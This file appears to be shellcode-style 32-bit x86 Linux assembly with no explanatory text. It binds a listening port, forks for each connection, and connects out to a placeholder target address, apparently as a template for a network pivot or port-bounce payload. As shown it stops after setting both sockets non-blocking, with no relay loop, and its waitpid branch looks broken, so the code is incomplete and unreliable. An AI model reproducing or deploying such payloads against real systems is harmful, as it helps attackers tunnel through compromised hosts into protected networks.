.globl main

main:

        // get server socket
        push $0x66
        pop %eax
        push $0x1
        pop %ebx
        xor %ecx, %ecx
        push %ecx
        push $0x1
        push $0x2
        mov %esp, %ecx
        int $0x80
        mov %eax, %edi

        // setsockopt(server, SOL_SOCKET, SO_REUSEADDR, 1, sizeof(int))
        movb $0x1, %bl
        movl %esp,  %ecx
        movb $0x4, %bl
        push %ebx
        push %ecx
        movb $0x2, %bl
        push %ebx
        dec %ebx
        push %ebx
        push %edi
        mov %esp, %ecx
        movb $0x66, %al
        movb $0xe, %bl
        int $0x80

        // bind(server, (struct sockaddr*)&server_addr, 0x10)
        xor %eax, %eax
        push %eax
        pushw $0xAAAA
        pushw $0x2
        mov %esp, %ecx
        push $0x10
        push %ecx
        push %edi
        mov %esp, %ecx
        push $0x2
        pop %ebx
        push $0x66
        pop %eax
        int $0x80

        // listen(server, 1)
        push $0x1
        push %edi
        mov %esp, %ecx
        push $0x4
        pop %ebx
        push $0x66
        pop %eax
        int $0x80

        jmp accept

parent:
        // waitpid(-1, status, 0);
        xor %ebx,%ebx
        dec %ebx
        xor %eax, %eax
        mov %esp, %ecx
        xor %edx, %edx
        xor %al, %al
        mov $0x07, %al
        int $0x80
        xor %eax, %eax
        inc %eax
        xor %ebx, %ebx
        cmp %eax, %ebx
        jne accept

        // exit(0)
        xor %eax,%eax
        inc %eax
        xor %ebx,%ebx
        int $0x80
        ret

accept:
        // accept(server, NULL, NULL)
        xor %eax, %eax
        push %eax
        push %eax
        push %edi
        mov %esp, %ecx
        push $0x5
        pop %ebx
        push $0x66
        pop %eax
        int $0x80
        mov %eax, %esi

        // fork()
        movb $0x2, %al
        int $0x80
        xor %ebx, %ebx
        cmp %ebx, %eax
        jne parent

        // close master socket
        mov %edi, %ebx
        movb $0x6, %al
        int $0x80

        // create new outgoing socket
        push $0x66
        pop %eax
        push $0x1
        pop %ebx
        xor %ecx, %ecx
        push %ecx
        push $0x1
        push $0x2
        mov %esp, %ecx
        int $0x80
        mov %eax, %edi


        // connect(target, (struct sockaddr *)&their_addr, sizeof(struct their_addr))
        push $0x66
        pop %eax
        push $0x3
        pop %ebx
        push $0xBBBBBBBB
        pushw $0xAAAF
        pushw $0x2
        mov %esp, %ecx
        push $0x10
        push %ecx
        push %edi
        mov %esp, %ecx
        int $0x80

        // if we can't connect, die
        xor %ebx, %ebx
        cmp %ebx, %eax
        jne bailout

        // make target socket non-blocking
        movb $0x37, %al
        mov %edi, %ebx
        push $0x4
        pop %ecx
        push $0x802
        pop %edx
        int $0x80

        // make source socket non-blocking
        movb $0x37, %al
        mov %esi, %ebx
        push $0x4
        pop %ecx
        push $0x802
        pop %edx
        int $0x80

exit:
        xor %eax, %eax
        inc %eax
        mov %eax, %ebx
        int $0x80
bailout:
        jmp bailout_string

bailout_stage2:
        // send cannot connect message
        pop %ecx
        xor %eax, %eax
        mov $0x4, %al
        mov %esi, %ebx
        mov $24, %dl
        int $0x80
        // close socket
        xor %eax, %eax
        mov %esi, %ebp
        mov $0x6, %al
        int $0x80

        jmp exit

bailout_string:
        call bailout_stage2
        .string "Cannot connect to host.\n" # 24 bytes